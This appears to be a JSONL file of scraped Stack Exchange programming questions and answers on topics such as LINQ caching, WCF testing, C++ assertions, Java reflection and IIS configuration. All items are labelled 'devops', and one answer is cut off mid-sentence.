{"id": "hf_017be38009ca", "question": "<p>We've just started using LINQ to SQL at work for our DAL &amp; we haven't really come up with a standard for out caching model.  Previously we had being using a base 'DAL' class that implemented a cache manager property that all our DAL classes inherited from, but now we don't have that.  I'm wondering if anyone has come up with a 'standard' approach to caching LINQ to SQL results?</p>\n\n<p>We're working in a web environment (IIS) if that makes a difference. I know this may well end up being a <a href=\"https://stackoverflow.com/questions/tagged/subjective\">subjective</a> question, but I still think the info would be valuable.</p>\n\n<p><strong>EDIT:</strong> To clarify, I'm not talking about caching an individual result, I'm after more of an architecture solution, as in how do you set up caching so that all your link methods use the same caching architecture.</p>\n", "question_body": "", "answer": "It's right under your nose:\n```\n```\nList<TableItem> myResult = (from t in db.Table select t).ToList();\n```\n```\nNow, just cache myResult as you would have cached your old DAL's returned data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.006508"}
{"id": "hf_8bff4b735b3d", "question": "<p>We have a whole bunch of DLLs that give us access to our database and other applications and services.</p>\n\n<p>We've wrapped these DLLs with a thin WCF service layer which our clients then consume.</p>\n\n<p>I'm a little unsure on how to write unit tests that only test the WCF service layer. Should I just write unit tests for the DLLs, and integration tests for the WCF services? I'd appreciate any wisdom... I know that if my unit tests actually go to the database they won't actually be true unit tests. I also understand that I don't really need to test the WCF service host in a unit test. </p>\n\n<p>So, I'm confused about exactly what to test and how.</p>\n", "question_body": "", "answer": "If you want to unit test your WCF service classes make sure you design them with loose coupling in mind so you can mock out each dependancy as you only want to test the logic inside the service class itself.\nFor example, in the below service I break out my data access repository using \"Poor Man's Dependency Injection\".\n```\n```\nPublic Class ProductService\n    Implements IProductService\n\n    Private mRepository As IProductRepository\n\n    Public Sub New()\n        mRepository = New ProductRepository()\n    End Sub\n\n    Public Sub New(ByVal repository As IProductRepository)\n        mRepository = repository\n    End Sub\n\n    Public Function GetProducts() As System.Collections.Generic.List(Of Product) Implements IProductService.GetProducts\n        Return mRepository.GetProducts()\n    End Function\nEnd Class\n```\n```\nOn the client you can mock the WCF service itself using the interface of the service contract.\n```\n```\n<TestMethod()> _\nPublic Sub ShouldPopulateProductsListOnViewLoadWhenPostBackIsFalse()\n    mMockery = New MockRepository()\n    mView = DirectCast(mMockery.Stub(Of IProductView)(), IProductView)\n    mProductService = DirectCast(mMockery.DynamicMock(Of IProductService)(), IProductService)\n    mPresenter = New ProductPresenter(mView, mProductService)\n    Dim ProductList As New List(Of Product)()\n    ProductList.Add(New Product)\n    Using mMockery.Record()\n        SetupResult.For(mView.PageIsPostBack).Return(False).Repeat.Once()\n        Expect.Call(mProductService.GetProducts()).Return(ProductList).Repeat.Once()\n    End Using\n    Using mMockery.Playback()\n        mPresenter.OnViewLoad()\n    End Using\n    'Verify that we hit the service dependency during the method when postback is false\n    Assert.AreEqual(1, mView.Products.Count)\n    mMockery.VerifyAll()\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.030399"}
{"id": "hf_7530e5cd7c08", "question": "<p>I'm exploring the possibility of writing an application in Erlang, but it would need to have a portion written in Cocoa (presumably Objective-C). I'd like the front-end and back-end to be able to communicate easily. How can this best be done?</p>\n\n<p>I can think of using C ports and connected processes, but I think I'd like a reverse situation (the front-end starting and connecting to the back-end). There are named pipes (FIFOs), or I could use network communications over a TCP port or a named BSD socket. Does anyone have experience in this area?</p>\n", "question_body": "", "answer": "One way would be to have the Erlang core of the application be a daemon that the Cocoa front-end communicates with over a Unix-domain socket using some simple protocol you devise.\nThe use of a Unix-domain socket means that the Erlang daemon could be launched on-demand by\n```\nlaunchd\n```\nand the Cocoa front-end could find the path to the socket to use via an environment variable.  That makes the rendezvous between the app and the daemon trivial, and it also makes it straightforward to develop multiple front-ends (or possibly a framework that wraps communication with the daemon).\nThe Mac OS X\n```\nlaunchd\n```\nsystem is really cool this way.  If you specify that a job should be launched on-demand via a secure Unix-domain socket,\n```\nlaunchd\n```\nwill actually create the socket itself with appropriate permissions, and advertise its location via the environment variable named in the job's property list.  The job, when started, will actually be passed a file descriptor to the socket by\n```\nlaunchd\n```\nwhen it does a simple check-in.\nUltimately this means that the entire process of the front-end opening the socket to communicate with the daemon,\n```\nlaunchd\n```\nlaunching the daemon, and the daemon responding to the communication can be secure, even if the front-end and the daemon run at different privilege levels.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.067449"}
{"id": "hf_b3e46d86017c", "question": "<p>Why are SQL distributions so non-standard despite an ANSI standard existing for SQL? Are there really that many meaningful differences in the way SQL databases work or is it just the two databases with which I have been working: MS-SQL and PostgreSQL? Why do these differences arise?</p>\n", "question_body": "", "answer": "The ANSI standard specifies only a limited set of commands and data types. Once you go beyond those, the implementors are on their own. And some very important concepts aren't specified at all, such as auto-incrementing columns. SQLite just picks the first non-null integer, MySQL requires\n```\nAUTO INCREMENT\n```\n, PostgreSQL uses sequences, etc. It's a mess, and that's only among the OSS databases! Try getting Oracle, Microsoft, and IBM to collectively decide on a tricky bit of functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.151169"}
{"id": "hf_f8de9e4bd0b3", "question": "<p>The minimum spanning tree problem is to take a connected weighted graph and find the subset of its edges with the lowest total weight while keeping the graph connected (and as a consequence resulting in an acyclic graph).</p>\n\n<p>The algorithm I am considering is:</p>\n\n<ul>\n<li>Find all cycles.</li>\n<li>remove the largest edge from each cycle.</li>\n</ul>\n\n<p>The impetus for this version is an environment that is restricted to \"rule satisfaction\" without any iterative constructs. It might also be applicable to insanely parallel hardware (i.e. a system where you expect to have several times more degrees of parallelism then cycles).</p>\n\n<p>Edits:</p>\n\n<p>The above is done in a stateless manner (all edges that are not the largest edge in any cycle are selected/kept/ignored, all others are removed).</p>\n", "question_body": "", "answer": "What happens if two cycles overlap?  Which one has its longest edge removed first?  Does it matter if the longest edge of each is shared between the two cycles or not?\nFor example:\n```\n```\nV = { a, b, c, d }\nE = { (a,b,1), (b,c,2), (c,a,4), (b,d,9), (d,a,3) }\n```\n```\nThere's an a -> b -> c -> a cycle, and an a -> b -> d -> a", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.213956"}
{"id": "hf_ba68cbb61ca0", "question": "<p>If I use <code>assert()</code> and the assertion fails then <code>assert()</code> will call <code>abort()</code>, ending the running program abruptly.  I can't afford that in my production code.  Is there a way to assert in runtime yet be able to catch failed assertions so I have the chance to handle them gracefully?</p>\n", "question_body": "", "answer": "Yes, as a matter of fact there is.  You will need to write a custom assert function yourself, as C++'s\n```\nassert()\n```\nis exactly C's\n```\nassert()\n```\n, with the\n```\nabort()\n```\n\"feature\" bundled in.  Fortunately, this is surprisingly straightforward.\nAssert.hh\n```\n```\ntemplate <typename X, typename A>\ninline void Assert(A assertion)\n{\n    if( !assertion ) throw X();\n}\n```\n```\nThe above function will throw an exception if a predicate doesn't hold.  You will then have the chance to catch the exception.  If you don't catch the exception,\n```\nterminate()\n```\nwill be called, which will end the program similarly to\n```\nabort()\n```\n.\nYou may wonder what about optimizing away the assertion when we're building for production.  In this case, you can define constants that will signify that you're building for production and then refer to the constant when you\n```\nAssert()\n```\n.\ndebug.hh\n```\n```\n#ifdef NDEBUG\n    const bool CHECK_WRONG = false;\n#else\n    const bool CHECK_WRONG = true;\n#endif\n```\n```\nmain.cc\n```\n```\n#include<iostream>\n\nstruct Wrong { };\n\nint main()\n{\n    try {\n        Assert<Wrong>(!CHECK_WRONG || 2 + 2 == 5);\n        std::cout << \"I can go to sleep now.\\n\";\n    }\n    catch( Wrong e ) {\n        std::cerr << \"Someone is wrong on the internet!\\n\";\n    }\n\n    return 0;\n}\n```\n```\nIf\n```\nCHECK_WRONG\n```\nis a constant then the call to\n```\nAssert()\n```\nwill be compiled away in production, even if the assertion is not a constant expression.  There is a slight disadvantage in that by referring to\n```\nCHECK_WRONG\n```\nwe type a little more.  But in exchange we gain an advantage in that we can classify various groups of assertions and enable and disable each of them as we see fit.  So, for example we could define a group of assertions that we want enabled even in production code, and then define a group of assertions that we only want to see in development builds.\nThe\n```\nAssert()\n```\nfunction is equivalent to typing\n```\n```\nif( !assertion ) throw X();\n```\n```\nbut it clearly indicates the intent of the programmer:  make an assertion.  Assertions are also easier to grep for with this approach, just like plain\n```\nassert()\n```\ns.\nFor more details on this technique see Bjarne Stroustrup's The C++ Programming Language 3e, section 24.3.7.2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.237730"}
{"id": "hf_586562f07ac1", "question": "<p>Because regular expressions scare me, I'm trying to find a way to remove all HTML tags and resolve HTML entities from a string in Python.</p>\n", "question_body": "", "answer": "How about parsing the HTML data and extracting the data with the help of the parser ?\nI'd try something like the author described in\nchapter 8.3 in the Dive Into Python book", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.286164"}
{"id": "hf_3a1b742c4611", "question": "<p>I'm trying to get some stats on how many of the visitors to our website have Silverlight enabled browsers.  </p>\n\n<p>We currently use Google Analytics for the rest of our stats so ideally we'd like to just add 'Silverlight enabled' tracking in with the rest of our Google Analytics stats.  But if it has to get written out to a DB etc then so be it.  </p>\n\n<p>Nikhil has <a href=\"http://www.nikhilk.net/Silverlight-Analytics.aspx\" rel=\"nofollow noreferrer\">some javascript</a> to Silverlight tracking to Google Analytics.  I have tried this code but Google Analytics doesn't pick it up.</p>\n\n<p>Does anyone have any other ideas/techniques?</p>\n", "question_body": "", "answer": "I think you answered it yourself. The page you are linking to does just that: detect which version of Silverlight the user has (not if s/he installs it). From the page:\nAfter a little poking around, I found that Google Analytics has support for reporting a user-defined field.\n...\nBasically this detects the presence of Silverlight, and if its available, it records the version as the value of the user-defined field. Now your analytics reports will have one of three values: \"(not set)\", \"Silverlight/1.0\" or \"Silverlight/2.0\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.310293"}
{"id": "hf_abe9117397ae", "question": "<p>Imagine we have a program trying to write to a particular file, but failing.</p>\n<p>On the Windows platform, what are the possible things which might be causing the file to be un-writable, and what steps could be suggested to an end user/administrator to fix it.</p>\n<hr />\n<p>Please include steps which might require administrator permissions (obviously users may not be administrators, but for this question, let's assume they are (or can become) administrators.</p>\n<p>Also, I'm not really familiar with how permissions are calculated in windows. - Does the user need write access to each directory up the tree, or anything similar to that?</p>\n", "question_body": "", "answer": "Some suggestions:\nNo write permission (get permission through Security tab on file Properties window; you must be the file owner or an Administrator)\nFile is locked (close any program that may have the file open, then reboot if that doesn't help)\nFile has the read-only DOS attribute set (unset it from file Properties window, or with\n```\nattrib -r\n```\n; you must be the file owner or an Administrator)\nEdit 1: Only the second item (file is locked) has a possible solution that all users are likely to be able to do without help.  For the first and third, you'll probably want to provide guidance (and hope the file wasn't made read-only intentionally!).\nEdit 2: Technically, the user does need write and execute (chdir) permissions on all directories up to the root.  Windows may skip some of the recursive checks up the tree as a performance optimization, but you should not rely on this because admins can force on these so-called \"traverse checks\" for certain users.\nEdit 3: @RobM: Yes, you should check that there is no obvious reason that the user should not have the permissions she needs but does not have.  I alluded to this in a less direct way in my first edit.  However, in some cases users should have write permission to a file but do not because of filesystem corruption, a misbehaving program, or a mistake on their own part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.370412"}
{"id": "hf_5951dfa601f8", "question": "<p>Does anyone know if you can and how to start off a scheduled Windows task on a Remote Server from within a SQL Server Integration Services (SSIS) package?</p>\n", "question_body": "", "answer": "It should be possible as the Task Scheduler has a scriptable\nCOM API\nthat can be used for interacting with tasks.\nYou could therefore either create a custom task that uses COM interop to call the Task Scheduler API, or it'd probably be quicker to use an Active X Script task to do your dirty work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.404957"}
{"id": "hf_d322bfe93f0c", "question": "<p>How do I determine the size of my array in C? </p>\n\n<p>That is, the number of elements the array can hold?</p>\n", "question_body": "", "answer": "Executive summary:\n```\n```\nint a[17];\nsize_t n = sizeof(a)/sizeof(a[0]);\n```\n```\nFull answer:\nTo determine the size of your array in bytes, you can use the\n```\nsizeof\n```\noperator:\n```\n```\nint a[17];\nsize_t n = sizeof(a);\n```\n```\nOn my computer, ints are 4 bytes long, so n is 68.\nTo determine the number of elements in the array, we can divide\nthe total size of the array by the size of the array element.\nYou could do this with the type, like this:\n```\n```\nint a[17];\nsize_t n = sizeof(a) / sizeof(int);\n```\n```\nand get the proper answer (68 / 4 = 17), but if the type of\n```\na\n```\nchanged you would have a nasty bug if you forgot to change\nthe\n```\nsizeof(int)\n```\nas well.\nSo the preferred divisor is\n```\nsizeof(a[0])\n```\nor the equivalent\n```\nsizeof(*a)\n```\n, the size of the first element of the array.\n```\n```\nint a[17];\nsize_t n = sizeof(a) / sizeof(a[0]);\n```\n```\nAnother advantage is that you can now easily parameterize\nthe array name in a macro and get:\n```\n```\n#define NELEMS(x)  (sizeof(x) / sizeof((x)[0]))\n\nint a[17];\nsize_t n = NELEMS(a);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.440771"}
{"id": "hf_404e7e62fd27", "question": "<p>I am trying to figure out what exactly is Appdomain recycling?\nWhen a aspx page is requested for the first time from a DotNet application, i understand that an appdomain for that app is created, and required assemblies are loaded into that appdomain, and the request will be served. \nNow, if the web.config file or the contents of the bin folder, etc are modified, the appdomain will be \"recycled\".\nMy question is, at the end of the recycling process, will the appdomain be loaded with assemblies and ready to serve the next request? or a page has to be requested to trigger the assemblies to load?.</p>\n", "question_body": "", "answer": "Take a look at this - that might explain it:\nhttp://weblogs.asp.net/owscott/archive/2006/02/21/ASP.NET-v2.0-\n2D00\n-AppDomain-recycles_2C00_-more-common-than-before.aspx#440333\nIn general. What is called \"first hit\" on an ASP.NET Website is usually taking longer time, due to compilation, and creation of an AppDomain.\nWhenever you deploy a site - make sure to use the \"Publish Website\" function in Visual Studio, to pre-compile your website. Then the \"first hit\" penalty is reduced. And remember to set the configuration to Release, and not Debug!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.478692"}
{"id": "hf_0b18816f0e0e", "question": "<p>So I've been using InstantRails to check out Ruby on rails. I've been using Notepad++ for the editing. Now I don't want to install Ruby or Rails on my machine. Is there any walk through/tutorial on how to integrate Radrails or Netbeans with InstantRails? </p>\n", "question_body": "", "answer": "Here's a tutorial:\nhttp://ruby.meetup.com/73/boards/view/viewthread?thread=2203432\n(I don't know if it's any good.)\nAnd here's one with InstantRails+Netbeans:\nhttps://web.archive.org/web/20100505044104/http://weblogs.java.net/blog/bleonard/archive/2007/03/instant_rails_w.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.513066"}
{"id": "hf_25a2ed97d291", "question": "<p>What is reflection, and why is it useful?</p>\n<p>I'm particularly interested in Java, but I assume the principles are the same in any language.</p>\n", "question_body": "", "answer": "The name reflection is used to describe code which is able to inspect other code in the same system (or itself).\nFor example, say you have an object of an unknown type in Java, and you would like to call a 'doSomething' method on it if one exists. Java's static typing system isn't really designed to support this unless the object conforms to a known interface, but using reflection, your code can look at the object and find out if it has a method called 'doSomething' and then call it if you want to.\nSo, to give you a code example of this in Java (imagine the object in question is foo) :\n```\n```\nMethod method = foo.getClass().getMethod(\"doSomething\", null);\nmethod.invoke(foo, null);\n```\n```\nOne very common use case in Java is the usage with annotations. JUnit 4, for example, will use reflection to look through your classes for methods tagged with the @Test annotation, and will then call them when running the unit test.\nThere are some good reflection examples to get you started at\nhttp://docs.oracle.com/javase/tutorial/reflect/index.html\nAnd finally, yes, the concepts are pretty much similar in other statically typed languages which support reflection (like C#). In dynamically typed languages, the use case described above is less necessary (since the compiler will allow any method to be called on any object, failing at runtime if it does not exist), but the second case of looking for methods which are marked or work in a certain way is still common.\nUpdate from a comment:\nThe ability to inspect the code in the system and see object types is\n  not reflection, but rather Type Introspection. Reflection is then the\n  ability to make modifications at runtime by making use of\n  introspection. The distinction is necessary here as some languages\n  support introspection, but do not support reflection. One such example\n  is C++", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.625423"}
{"id": "hf_052a9f7ec477", "question": "<p>What is the best way to implement, from a web page a download action using asp.net 2.0?</p>\n\n<p>Log files for a action are created in a directory called [Application Root]/Logs.  I have the full path and want to provide a button, that when clicked will download the log file from the IIS server to the users local pc.</p>\n", "question_body": "", "answer": "Does this help:\nhttp://www.west-wind.com/weblog/posts/76293.aspx\n```\n```\nResponse.ContentType = \"application/octet-stream\";\nResponse.AppendHeader(\"Content-Disposition\",\"attachment; filename=logfile.txt\");\nResponse.TransmitFile( Server.MapPath(\"~/logfile.txt\") );\nResponse.End();\n```\n```\nResponse.TransmitFile is the accepted way of sending large files, instead of Response.WriteFile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.673056"}
{"id": "hf_6e724d5512e4", "question": "<p>I'm writing a Perl script and would like to use a n-ary tree data structure.</p>\n\n<p>Is there a good implementation that is available as source code (rather than part of a Perl library) ?</p>\n", "question_body": "", "answer": "I don't really understand why you want it was \"source\" rather than as a perl library, but you can download the source for any CPAN module.\nI haven't used it, but\nTree\nlooks to fill your requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.696202"}
{"id": "hf_99ab29aac713", "question": "<p>I am using the function below to match URLs inside a given text and replace them for HTML links. The regular expression is working great, but currently I am only replacing the first match.</p>\n\n<p>How I can replace all the URL? I guess I should be using the <em>exec</em> command, but I did not really figure how to do it.</p>\n\n<pre><code>function replaceURLWithHTMLLinks(text) {\n    var exp = /(\\b(https?|ftp|file):\\/\\/[-A-Z0-9+&amp;@#\\/%?=~_|!:,.;]*[-A-Z0-9+&amp;@#\\/%=~_|])/i;\n    return text.replace(exp,\"&lt;a href='$1'&gt;$1&lt;/a&gt;\"); \n}\n</code></pre>\n", "question_body": "", "answer": "Replacing URLs with links (Answer to the General Problem)\nThe regular expression in the question misses\na lot\nof edge cases. When detecting URLs, it's always better to use a specialized library that handles international domain names, new TLDs like\n```\n.museum\n```\n, parentheses and other punctuation within and at the end of the URL, and many other edge cases. See the Jeff Atwood's blog post\nThe Problem With URLs\nfor an explanation of some of the other issues.\nThe\nbest summary of URL matching libraries\nis in\nDan Dascalescu's Answer\n(as of Feb 2014)\n\"Make a regular expression replace more than one match\" (Answer to the specific problem)\nAdd a \"g\" to the end of the regular expression to enable global matching:\n```\n```\n/ig;\n```\n```\nBut that only fixes the problem in the question where the regular expression was only replacing the first match.\nDo not use that code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.755561"}
{"id": "hf_8b6a823d9510", "question": "<p>Sorry for this not being a \"real\" question, but Sometime back i remember seeing a post here about randomizing a randomizer randomly to generate truly random numbers, not just pseudo random. I dont see it if i search for it.</p>\n\n<p>Does anybody know about that article?</p>\n", "question_body": "", "answer": "It's not possible to obtain 'true' random numbers, a computer is a logical construct that can't possibly create 'truly' random anything, only pseudo-random. There are better and worse pseudo-random algorithms out there, however.\nIn order to obtain a 'truly' random number you need a physical random source, some gambling machines actually have these built in - often it's a radioactive source, the radioactive decay (which as far as I know is\ntruly\nrandom) is used to generate the numbers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.790583"}
{"id": "hf_155a5afd16d8", "question": "<p>I seem right now to be embroiled in a debate with another programmer on this project who thinks that views have no merits.  He proposes a system that PHP looks something like this:</p>\n\n<pre><code>$draw = new Draw;\n$nav = $draw-&gt;wideHeaderBox().\n$draw-&gt;left().\n    $draw-&gt;image().\n        Image::get($image,60,array('id'=&gt;'header_image')).\n    $draw-&gt;imageEnd().\n$draw-&gt;leftEnd().\n$draw-&gt;left(10).\n    '&lt;div id=\"header_text\"&gt;'.\n        self::defaultSectionText().\n    '&lt;/div&gt;'.\n$draw-&gt;leftEnd().\n</code></pre>\n\n<p>and so on (this is in the controller btw).  Now his arguments for this actually make some sense, he claims that if there is a redesign all we need to do is change the HTML in one place and it changes everywhere automatically. For some reason however, this method still rubs me the wrong way, is there any merit to views over this method?  I mean besides not having to retype HTML by hand.</p>\n", "question_body": "", "answer": "The argument he uses is the argument you need to\nhave\nviews. Both result in only changing it in one place. However, in his version, you are mixing view markup with business code.\nI would suggest using more of a templated design. Do all your business logic in the PHP, setup all variables that are needed by your page. Then just have your page markup reference those variables (and deal with no business logic whatsoever).\nHave you looked at smarty?\nhttp://smarty.php.net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.812779"}
{"id": "hf_950720405126", "question": "<p>What is the RegEx pattern for DateTime (2008-09-01 12:35:45 ) ?</p>\n\n<p>I get this error:</p>\n\n<blockquote>\n  <p>No ending delimiter '^' found</p>\n</blockquote>\n\n<p>Using:</p>\n\n<pre><code>preg_match('(?n:^(?=\\d)((?&lt;day&gt;31(?!(.0?[2469]|11))|30(?!.0?2)|29(?(.0?2)(?=.{3,4}(1[6-9]|[2-9]\\d)(0[48]|[2468][048]|[13579][26])|(16|[2468][048]|[3579][26])00))|0?[1-9]|1\\d|2[0-8])(?&lt;sep&gt;[/.-])(?&lt;month&gt;0?[1-9]|1[012])\\2(?&lt;year&gt;(1[6-9]|[2-9]\\d)\\d{2})(?:(?=\\x20\\d)\\x20|$))?(?&lt;time&gt;((0?[1-9]|1[012])(:[0-5]\\d){0,2}(?i:\\ [AP]M))|([01]\\d|2[0-3])(:[0-5]\\d){1,2})?$)', '2008-09-01 12:35:45');\n</code></pre>\n\n<p>Gives this error: </p>\n\n<blockquote>\n  <p>Warning: preg_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 0 in E:\\www\\index.php on line 19</p>\n</blockquote>\n", "question_body": "", "answer": "http://regexlib.com/REDetails.aspx?regexp_id=610\n^(?=\\d)(?:(?:31(?!.(?:0?[2469]|11))|(?:30|29)(?!.0?2)|29(?=.0?2.(?:(?:(?:1[6-9]|[2-9]\\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00)))(?:\\x20|$))|(?:2[0-8]|1\\d|0?[1-9]))([-./])(?:1[012]|0?[1-9])\\1(?:1[6-9]|[2-9]\\d)?\\d\\d(?:(?=\\x20\\d)\\x20|$))?(((0?[1-9]|1[012])(:[0-5]\\d){0,2}(\\x20[AP]M))|([01]\\d|2[0-3])(:[0-5]\\d){1,2})?$\nThis RE validates both dates and/or\n  times patterns. Days in Feb. are also\n  validated for Leap years. Dates: in\n  dd/mm/yyyy or d/m/yy format between\n  1/1/1600 - 31/12/9999. Leading zeroes\n  are optional. Date separators can be\n  either matching dashes(-), slashes(/)\n  or periods(.) Times: in the hh:MM:ss\n  AM/PM 12 hour format (12:00 AM -\n  11:59:59 PM) or hh:MM:ss military time\n  format (00:00:00 - 23:59:59). The 12\n  hour time format: 1) may have a\n  leading zero for the hour. 2) Minutes\n  and seconds are optional for the 12\n  hour format 3) AM or PM is required\n  and case sensitive. Military time 1)\n  must have a leading zero for all hours\n  less than 10. 2) Minutes are\n  manditory. 3) seconds are optional.\n  Datetimes: combination of the above\n  formats. A date first then a time\n  separated by a space. ex) dd/mm/yyyy\n  hh:MM:ss\nEdit\n: Make sure you copy the RegEx from the regexlib.com website as StackOverflow sometimes removes/destroys special chars.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.836016"}
{"id": "hf_a9b6c100ea44", "question": "<p>I'd like to find the different ways to solve a real life problem I had: imagine to have a contest, or a game, during which the users collect points. You have to build a query to show the list of users with the best \"n\" scores. </p>\n\n<p>I'm making an example to clarify. Let's say that this is the Users table, with the points earned:</p>\n\n<pre><code>UserId - Points\n1      - 100\n2      -  75\n3      -  50\n4      -  50\n5      -  50\n6      -  25\n</code></pre>\n\n<p>If I want the top 3 scores, the result will be:</p>\n\n<pre><code>UserId - Points\n1      - 100\n2      -  75\n3      -  50\n4      -  50\n5      -  50\n</code></pre>\n\n<p>This can be realized in a view or a stored procedure, as you want. My target db is Sql Server. Actually I solved this, but I think there are different way to obtain the result... faster or more efficent than mine.</p>\n", "question_body": "", "answer": "Untested, but should work:\n```\n```\nselect * from users where points in\n(select distinct top 3 points from users order by points desc)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.862535"}
{"id": "hf_bfaf4d2dd85d", "question": "<p>I have the following code in a web.config file of the default IIS site.</p>\n\n<pre><code>&lt;httpModules&gt;\n    &lt;add type=\"MDL.BexWebControls.Charts.ChartStreamHandler,Charts\" name=\"ChartStreamHandler\"/&gt;\n&lt;/httpModules&gt;\n</code></pre>\n\n<p>Then when I setup and browse to a virtual directory I get this error</p>\n\n<p>Could not load file or assembly 'Charts' or one of its dependencies. The system cannot find the file specified.</p>\n\n<p>The virtual directory is inheriting the modules from the default web.config.</p>\n\n<p>How do you stop this inheritance?</p>\n", "question_body": "", "answer": "I've found the answer.  Wrap the HttpModule section in location tags and set the inheritInChildApplications attribute to false.\n```\n```\n<location path=\".\" inheritInChildApplications=\"false\">\n  <system.web>\n    <httpModules>\n      <add type=\"MDL.BexWebControls.Charts.ChartStreamHandler,Charts\" name=\"ChartStreamHandler\"/>\n    </httpModules>\n  </system.web>\n</location>\n```\n```\nNow any virtual directories will not inherit the settings in this location section.\n@GateKiller This isn't another website, its a virtual directory so inheritance does occur.\n@petrich I've had hit and miss results using\n```\n<remove />\n```\n.  I have to remember to add it to every virtual directory which is a pain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.885162"}
